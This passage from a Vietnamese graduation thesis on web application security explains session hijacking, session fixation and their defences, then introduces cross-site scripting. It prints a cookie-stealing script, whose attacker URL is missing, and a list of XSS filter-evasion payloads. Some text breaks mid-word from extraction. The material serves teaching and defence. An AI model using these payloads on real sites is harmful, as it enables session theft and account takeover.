làm việc (session ID). Server sẽ cung cấp mỗi session ID khác nhau cho mỗi người
dùng khác nhau để chứng thực phiên làm việc đó.
Để duy trì phiên làm việc, SessionID thường được lưu vào:
• Tham số CGI
• Trường ẩn trong form
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 20 - Đại học Công Nghệ - ĐHQGHN

• Các cookie
Thông thường, sau khi người dùng được chứng thực dựa trên những thông tin cá
nhân như tên/mật khẩu, session ID được xem như một mật khẩu tĩnh tạm thời cho
những lần yêu cầu tiếp theo. Điều này đã khiến cho Session ID là mục tiêu lớn cho
những hacker. Trong nhiều trường hợp, hacker giành được session ID hợp lệ của
người dùng để từ đó đột nhập vào phiên làm việc của họ.

Hình

2-4 SessionID được lưu trong tham số CGI
2.2.6.1. Kỹ thuật tấn công chiếm hữu phiên làm việc
Những kẻ tấn công có thể thực hiện những cách sau:
• Đoán mã của một phiên làm việc hợp lệ
• Ăn cắp một mã phiên qua các mạng lưới giám sát.

Hình
2-5 Ăn cắp SessionID bằng cách giám sát đường truyền (nguồn:
/> )
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 21 - Đại học Công Nghệ - ĐHQGHN

• Ăn cắp một mã phiên thông qua XSS. Hacker sẽ sử dụng đoạn mã
trên trình duyệt của nạn nhân và gửi kết quả về máy của mình.
• Ấn định phiên làm việc. (Session fixation)
Trong tấn công ấn định phiên làm việc, kẻ tấn công ấn định sẵn SessionID cho
nạn nhân trước khi họ đăng nhập vào hệ thống. Sau đó kẻ tấn công sẽ sử dụng
SessionID này để tiếp tục phiên làm việc của n
ạn nhân.

Hình
2-6 Tấn công ấn định phiên làm việc.
Tấn công ấn định phiên làm việc gồm ba bước:
Bước 1: Tạo ra phiên làm việc:
Đầu tiên kẻ tấn công tạo ra một phiên làm việc “bẫy” theo hướng của hệ thống.
Có hai hướng có thể:
• Hướng tự do: chấp nhận bất kỳ một session ID nào, nếu chưa tồn tại
session thì tạo mới một session ID.
• Hướng giới hạn: ch

ỉ chấp nhận một session ID đã đăng ký trước đó.
Với hệ thống hướng tự do thì hacker chỉ cần thiết lập một session ID bất kỳ, nhớ
và sau đó sử dụng lại session ID này. Ở hướng giới hạn, hacker phải đăng ký một
session ID với ứng dụng.
Bước 2: Ấn định phiên làm việc:
Tiếp theo kẻ tấn công phải giới thiệu session ID này tới trình duyệt củ
a người
dùng, có thể là gửi thư điện tử. Như vậy là ấn định phiên làm việc của người đó.
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 22 - Đại học Công Nghệ - ĐHQGHN

Bước 3: đột nhập vào phiên làm việc của họ.
Cuối cùng, kẻ tấn công đợi đến lúc người dùng đăng nhập vào server đích sử
dụng session ID đã được ấn định trước đó và đột nhập vào phiên làm việc của người
dùng đó.

Hình
2-7 các bước tấn công ấn định phiên làm việc.
2.2.6.2. Các cách phòng chống tấn công chiếm hữu phiên làm việc
• Bảo vệ cookie chứa session ID bằng cách thiết lập bit an toàn SSL.
• Tạo ra session ID mới cho mỗi yêu cầu.
• Sử dụng thời gian hết hạn của cookie ngắn nhất có thể
• Cho phép người dùng thoát ra khỏi hệ thống, xóa đi phiên làm việc của họ.
• Không cho phép người dùng tự chọn định danh cho phiên làm việc c
ủa họ.
• Sử dụng trường HTTP REFERER để nhận biết nhiều trình duyệt của người
dùng có cùng ID.
2.3. Tấn công chèn mã lệnh thực thi trên trình duyệt nạn nhân
(cross-site scripting) – XSS

2.3.1. Giới thiệu về cross-site scripting
Cross-site cripting (XSS) là một dạng lỗ hổng trong bảo mật máy tính chủ yếu
được tìm thấy trong ứng dụng web mà cho phép người dùng chèn mã độc hại và sẽ
được xem bởi những người dùng khác.Có rất nhiều loại mã như mã HTML và mã kịch
bản phía client. Một cuộc khai thác lỗ hổng XSS có thể được những kẻ tấn công dùng
để vượt qua trình quản lý truy. Những lỗ hổng loại này được khai thác để tấn công lừa
đảo và khai thác trình duyệt. Từ năm 2007, XSS được tiến hành trên nhiều website và
chiếm khoảng 80% tài liệu về các lỗ hổng. Trong một cuộc tấn, người dùng cuối có thể
là đối tượng của sự truy cập trái phép, ăn cắp dữ liệu nhạy cảm, và bị mất tiền.
Trong những năm gần đây, XSS vượt cả buffer overflow để trở thành báo cáo
lỗ hổng bảo mật phổ biến nhất. Ít nhấ
t có khoảng 68% các trang web là có lỗi XSS với
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 23 - Đại học Công Nghệ - ĐHQGHN

những người dùng của họ. Tấn công XSS có thể vượt qua các trình an ninh của hệ
thống. Bằng việc tìm ra một cách thông minh để tiêm mã độc vào trang web, một kẻ
tấn công có thể có được đặc quyền truy cập vào các nội dung nhạy cảm của trang, các
cookie về phiên làm việc, và nhiều đối tượng khác.
Cross site scripting đầu tiên được gọi tắt là CSS, mặc dù được sử dụng rộng rãi
nhưng bị ngưng lại vì nhầm lẫn v
ới Cascading Style Sheets.
Tấn công XSS được viết ở dạng ngôn ngữ kịch bản phía client, chủ yếu là một
dạng của ECMAScript (ví dụ: JavaScript, Jscript), có khi bao gồm cả HTML và
XHTML.
Lỗ hổng XSS được thông báo và khai thác một số trường hợp từ thập kỷ 90.
Một vài trang bị ảnh hưởng nổi lên như là trang tìm kiếm Google, dịch vụ mail của
Google và Yahoo, các trang xã hội như là Facebook, Myspace và Orkut. Các nhà phát
triển của công ty MediaWiki đã sửa ít nhất 20 lỗi XSS để bả

o vệ trang Wikipedia và
những người dùng khác của wiki.
2.3.2. Kỹ thuật tấn công XSS
Các tấn công có thể:
• Lấy cắp cookie
• Chuyển hướng người dùng đến một trang web độc hại
• Trình bày nội dung giả thuyết phục người sử dụng nhập dữ liệu cá nhân
Các cách thực hiện cuộc tấn công :
• Dạng tấn công XSS được lưu trữ: những kẻ tấn công đặt những
đoạn
kịch bản trên bảng nhắn tin trực tuyến, tìm kiếm sách, lưu bút, ý kiến ở
trang nhật ký… Nói chung là đoạn kịch bản được lưu lại ở trên máy chủ
và sẽ được thực thi sau đó.
• Dạng tấn công XSS được lưu trữ:Những kẻ tấn công đặt mã kịch bản
trong tham số CGI của một URL, do đó khi người dùng nhấn vào liên
kết này trang thực sẽ đượ
c tải xuống, nhưng bị thay đổi bởi kịch bản
được nhúng trong URL, liên kết thật có thể ở bất kỳ vị trí nào, không cần
thiết được lưu trên trang.
Lưu ý: XSS khác với lừa đảo, trong đó có một bản sao tấn công hợp lệ và các trang
web cố gắng lừa người sử dụng nhập vào các dữ liệu nhạy cảm trên các trang web giả
mạo.
Luận văn tốt nghiệp Một số vấn đề bảo mật ứng dụng web

Dương Thị Thu Hương – K50CHTTT - Trang 24 - Đại học Công Nghệ - ĐHQGHN

2.3.3. Mã kịch bản tấn công XSS
2.3.3.1. Ăn cắp mã phiên làm việc của người dùng để thực hiện chiếm
hữu phiên làm việc,
ví dụ mã sau:

<script>
document.write( "<img src= +
escape(document.cookie) + ">" )
</script>
Thêm một thẻ ảnh ở nguồn của trang web của kẻ tấn công tại trang hiện tại .
Ảnh px.gif sẽ trở lại máy chủ của kẻ tấn công chỉ là một bức ảnh 1 pixel, bởi vì khi
bức ảnh quay lại, kẻ tấn công sẽ có được cookie trang web của nạn nhân như là
_appname_session hay là JSESSIONID từ bản ghi trên máy chủ của nạn nhân và sau
đó sẽ sử dụng cho những cuộc t
ấn công tiếp theo.
2.3.3.2. Tạo thủ thuật để khiến người dùng làm việc không biết đến
Nếu có thể thay thế ảnh thứ 38 trong nguồn của trang muốn tấn công
<script>
document.images[38].src=
</script>
Ảnh này được thiết kế để khiến người dùng làm việc gì mà họ không biết.
Có thể là thay đổi URL đích trong một form và nhiều thứ khác.
2.3.3.3. Các cách chèn mã có thể
Cách chèn mã với thẻ image
<IMG SRC="javascript:alert('XSS');">
Giống như trên nhưng bỏ đi dấu chấm phẩy và đấu ngoặc kép
<IMG SRC=javascript:alert('XSS')>
Thay đổi một chút
<IMG SRC=JaVaScRiPt:alert('XSS')>
Mã hóa các thực thể HTML
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
Sử dụng dấu “
`” trong chuỗi kịch bản vì nhiều nhà phát triển không để ý đến nó.
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
Đặt mã kịch bản vẫn trong thẻ IMG nhưng nằm trong dấu ngoặc kép

×